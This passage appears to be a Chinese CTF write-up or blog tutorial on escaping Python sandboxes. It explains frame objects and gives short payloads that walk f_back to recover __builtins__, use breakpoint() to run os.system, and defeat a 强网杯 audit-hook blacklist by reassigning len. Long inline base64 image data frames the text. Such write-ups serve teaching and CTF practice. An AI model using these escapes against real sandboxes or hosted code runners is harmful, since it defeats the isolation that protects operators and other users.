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 alt=image.png referrerpolicy=no-referrer layer-index=3><br>
其实栈帧是python的底层架构,我们可以通过栈帧对象的<code>f_code</code>获取当前栈帧的Codeobject对象,又或者是**<code>f_lineno</code><strong>获取当前执行的行号,</strong><code>f_locals</code>**得到所有的局部变量,理论上配合<code>f_back</code>,我们就能够操纵几乎所有的内存了,其实<code>ipdb</code>的原理就是通过操作栈帧和<code>sys.settrace</code>实现调试的。</p>
<h2 blockindex=61>获取栈帧</h2>
<p blockindex=62>那现在我们知道了栈帧的特性了,我们如何在python代码中操作栈帧呢?首先当然是获取栈帧了<br>
既然栈帧无处不在,我们可以通过如下多种方式获取当前的栈帧</p>
<h3 blockindex=63>通过报错</h3>
<pre blockindex=64><code class="hljs language-py"><span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>get_stack_frame_via_exception</span>():</span>
<span class=hljs-keyword>try</span>:
<span class=hljs-keyword>raise</span> Exception
<span class=hljs-keyword>except</span> Exception <span class=hljs-keyword>as</span> e:
tb = e.__traceback__ <span class=hljs-comment># 获取异常的回溯对象</span>
<span class=hljs-keyword>while</span> tb.tb_next: <span class=hljs-comment># 遍历到当前帧</span>
tb = tb.tb_next
<span class=hljs-keyword>return</span> tb.tb_frame <span class=hljs-comment># 返回当前栈帧对象</span>
</code></pre>
<h3 blockindex=65>通过闭包</h3>
<pre blockindex=66><code class="hljs language-py"><span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>get_stack_frame_via_closure</span>():</span>
frame = <span class=hljs-literal>None</span>
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>inner</span>():</span>
<span class=hljs-keyword>nonlocal</span> frame
frame = (<span class=hljs-keyword>lambda</span>: <span class=hljs-literal>None</span>).__code__.co_frame <span class=hljs-comment># 获取当前帧</span>
inner()
<span class=hljs-keyword>return</span> frame
</code></pre>
<h3 blockindex=67>通过生成器</h3>
<pre blockindex=68><code class="hljs language-py"><span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>waff</span>():</span>
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>f</span>():</span>
<span class=hljs-keyword>yield</span> g.gi_frame.f_back
g = f()
frame = <span class=hljs-built_in>next</span>(g)
b = frame.f_back.f_back.f_globals[<span class=hljs-string>'key'</span>] <span class=hljs-comment>#返回并获取前一级栈帧的globals</span>
<span class=hljs-keyword>return</span> b
</code></pre>
<h2 blockindex=69>利用方式</h2>
<p blockindex=70>例如,我们就能够通过不断回溯上一级的栈帧实现获取到完整的builtins,最终实现沙箱逃逸</p>
<pre blockindex=71><code class="hljs language-py"><span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>waff</span>():</span>
<span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>f</span>():</span>
<span class=hljs-keyword>yield</span> g.gi_frame.f_back
g = f() <span class=hljs-comment>#生成器</span>
frame = [i <span class=hljs-keyword>for</span> i <span class=hljs-keyword>in</span> g][<span class=hljs-number>0</span>] <span class=hljs-comment>#获取到生成器的栈帧对象</span>
b = frame.f_back.f_back.f_back.f_globals[<span class=hljs-string>'__builtins__'</span>] <span class=hljs-comment>#返回并获取前一级栈帧的globals</span>
<span class=hljs-keyword>return</span> b
</code></pre>
<p blockindex=72>又或者在全交互的情况下,直接调用自带的<code>ipdb</code>实现逃逸,我这里直接执行了<code>breakpoint()</code>就可以直接进入调试器模式</p>
<pre blockindex=73><code class="hljs language-py"><span class=hljs-meta>&gt;&gt;&gt; </span><span class=hljs-built_in>breakpoint</span>()
--Return--
&gt; &lt;stdin&gt;(<span class=hljs-number>1</span>)&lt;module&gt;()-&gt;<span class=hljs-literal>None</span>
(Pdb) !<span class=hljs-built_in>__import__</span>(<span class=hljs-string>'os'</span>).system(<span class=hljs-string>'ls'</span>)
api.txt Desktop Documents Downloads Music Pictures pslist_output.txt Public rekall-<span class=hljs-number>1.6</span><span class=hljs-number>.0</span> rekall-<span class=hljs-number>1.6</span><span class=hljs-number>.0</span>.<span class=hljs-built_in>zip</span> Templates test.py Videos
<span class=hljs-number>0</span>
(Pdb)
</code></pre>
<p blockindex=74>推荐:<a href="https://www.bilibili.com/video/BV1iB4y1S7nT?spm_id_from=333.788.videopod.sections&amp;vd_source=1e4f989ac1dfcfcf4a325107d3fc20cb">【python】python的骨架frame——你写的代码都是运行在它里面的?_哔哩哔哩_bilibili</a></p>
<h1 blockindex=75>审计钩子</h1>
<p blockindex=76><code>sys.audit</code> 是 Python 3.8 引入的一种安全审计机制,旨在为应用程序和库提供一种监控敏感操作的方式。Python 的许多内置函数和操作(如文件操作、网络操作、动态代码执行等)在执行时会调用 <code>sys.audit</code> 触发审计事件,比如<code>exec</code>,<code>socket.connect</code>,最恶心的,就是这个代码是C语言解释器源码层面(<code>PySys_Audit</code>)的,一但加载,不能够被Py语言层级卸载。</p>
<h2 blockindex=77>偷天换日</h2>
<p blockindex=78>例如在强网杯中,这道题就是使用了审计钩子:</p>
<pre blockindex=79><code class="hljs language-py"><span class=hljs-function><span class=hljs-keyword>def</span> <span class=hljs-title>do</span>(<span class=hljs-params>source_code</span>):</span>
hook_code = <span class=hljs-string>'''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) &gt; 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
'''</span>
<span class=hljs-built_in>print</span>(source_code)
code = hook_code + source_code
tree = <span class=hljs-built_in>compile</span>(source_code, <span class=hljs-string>"run.py"</span>, <span class=hljs-string>'exec'</span>, flags=ast.PyCF_ONLY_AST)
<span class=hljs-keyword>try</span>:
<span class=hljs-keyword>if</span> verify_secure(tree):
<span class=hljs-keyword>with</span> <span class=hljs-built_in>open</span>(<span class=hljs-string>"run.py"</span>, <span class=hljs-string>'w'</span>) <span class=hljs-keyword>as</span> f:
f.write(code)
result = subprocess.run([<span class=hljs-string>'python'</span>, <span class=hljs-string>'run.py'</span>], stdout=subprocess.PIPE, timeout=<span class=hljs-number>5</span>).stdout.decode(<span class=hljs-string>"utf-8"</span>)
<span class=hljs-comment># os.remove('run.py')</span>
<span class=hljs-keyword>return</span> result
<span class=hljs-keyword>else</span>:
<span class=hljs-keyword>return</span> <span class=hljs-string>"Execution aborted due to security concerns."</span>
<span class=hljs-keyword>except</span>:
os.remove(<span class=hljs-string>'run.py'</span>)
<span class=hljs-keyword>return</span> <span class=hljs-string>"Timeout!"</span>
</code></pre>
<p blockindex=80>那该如何破解?<br>
例如在这个你会发现他这个审计钩子是通过len函数实现审计的,由于与上文函数就是一个特殊的变量,我们完全可以给这个变量重新赋值,使其审计失效:</p>
<pre blockindex=81><code class="hljs language-py">[<span class=hljs-built_in>len</span>:=<span class=hljs-keyword>lambda</span> x:<span class=hljs-number>1</span>,os:=<span class=hljs-built_in>__import__</span>(<span class=hljs-string>"os"</span>),os.system(cmd)]
</code></pre>
<p blockindex=82><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABk0AAAEdCAYAAAChRSCwAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd3gU5frG8W8aSQi9JITekd5BbIAUBQEboh6VYkcUC0fFXlE4P9tBAQsqoKIIAlLkUJQqoZfQJPSaAiEJ6XV/f0xms7vZ3WwKhHJ/ritXsrMz77wzQdS593kfL4vFshjoj4iIiIiIiIiIiIiIyNXrD+/SnoGIiIiIiIiIiIiIiMilQKGJiIiIiIiIiIiIiIgICk1EREREREREREREREQAhSYiIiIiIiIiIiIiIiKAQhMRERERERERERERERFAoYmIiIiIiIiIiIiIiAig0ERERERERERERERERARQaCIiIiIiIiIiIiIiIgIoNBEREREREREREREREQEUmoiIiIiIiIiIiIiIiAAKTURERERERERERERERACFJiIiIiIiIiIiIiIiIoBCExEREREREREREREREUChiYiIiIiIiIiIiIiICAC+pT0BERERERG5SlkssH1vac9CREREpHT4+UHrpqU9CxFxoNBERERERERKT3Rsac9ARERE5OLz8oJaIaU9CxFxQstziYiIiIiIiIiIiIiIoNBEREREREREREREREQEUGgiIiIiIiIiIiIiIiICKDQREREREREREREREREBFJqIiIiIiIiIiIiIiIgACk1EREREREREpIi+XrKQyYvmk52TU2pzePHbKfy86s98c0hMTeGB/7zH/LC1pTSzkvHGjG/5ZfWfZGZl2W1PTksjbN+efNtFRESkeHxLewIiIiIiIiIicnm6vdsN9H1tDE1r1aF3+44eHRMTH8dvf69hyI09qVqhgtN9Xvx2CvWCQ3ii3yD8fF0/uohLSmRV+HYqBgXle+/k2TNsOxTBK/c+6NG8ouLOsX7vbnIsBQdA2w8dYPexI8wY85rTc9t67qvPqR9Sg5G33YG/nx9nzycw9vuveP2+odQPqVHguY6fica/jB/e3vafew0KCCA5LY12Tz/CR48+Rb9OXQscS0RERAqm0ERERERERERE3MrKzuZc4nmCK1W22x5SqTIP3dyXWtWquTzO18fHbltwpcr0ad+Jm195jvEjnnD6sD8mPg5vL698xzo6HHWa9MxMHujRBx9vb7KyswHw9fFh28EI2jVswjW163o0r+oVK9GnQyfK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